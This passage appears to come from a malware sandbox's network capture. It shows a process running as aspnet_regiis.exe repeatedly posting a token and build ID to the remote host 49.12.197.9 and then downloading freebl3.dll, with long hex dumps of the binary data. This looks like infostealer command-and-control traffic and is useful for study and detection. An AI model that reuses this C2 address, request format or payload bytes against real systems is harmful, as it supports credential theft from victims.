2024-10-03 01:36:02 UTC	16384	IN	Data Raw: f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-10-03 01:36:02 UTC	16384	IN	Data Raw: 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-10-03 01:36:02 UTC	16384	IN	Data Raw: 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-10-03 01:36:02 UTC	16384	IN	Data Raw: 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-10-03 01:36:02 UTC	16384	IN	Data Raw: ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-10-03 01:36:02 UTC	16384	IN	Data Raw: 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-10-03 01:36:02 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49729	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:04 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAAEBKEGHJKEBFHJDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:04 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------DHCAAEBKEGHJKEBFHJDBContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------DHCAAEBKEGHJKEBFHJDBCont
2024-10-03 01:36:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49730	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:06 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:06 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------ECBGCBGCAFIIECBFIDHICont
2024-10-03 01:36:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49731	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:07 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHCFCBKKJDGCAKFCFI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:07 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 36 34 30 35 32 36 63 61 32 39 30 66 64 30 31 37 61 61 61 62 62 35 63 64 36 31 66 66 32 64 64 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 62 62 37 33 31 30 65 61 62 34 32 34 35 30 30 36 66 31 32 35 63 34 34 32 64 61 32 64 31 65 35 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 43 46 43 42 4b 4b 4a 44 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 Data Ascii: ------CAEHCFCBKKJDGCAKFCFIContent-Disposition: form-data; name="token"5640526ca290fd017aaabb5cd61ff2dd------CAEHCFCBKKJDGCAKFCFIContent-Disposition: form-data; name="build_id"bb7310eab4245006f125c442da2d1e50------CAEHCFCBKKJDGCAKFCFICont
2024-10-03 01:36:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-03 01:36:08 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49732	49.12.197.9	443	5576	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:36:08 UTC	195	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:36:09 UTC	262	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 01:36:09 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Thursday, 03-Oct-2024 01:36:09 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-03 01:36:09 UTC	16122	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: ff ff ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: c1 c2 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]w
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: 7d 08 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 Data Ascii: }00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: 0e 81 e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: 00 00 c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: 04 8d 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: 7d 88 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff Data Ascii: }eUeLXee0@eeeue0UEeeUeee $
2024-10-03 01:36:09 UTC	16384	IN	Data Raw: 38 8b 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 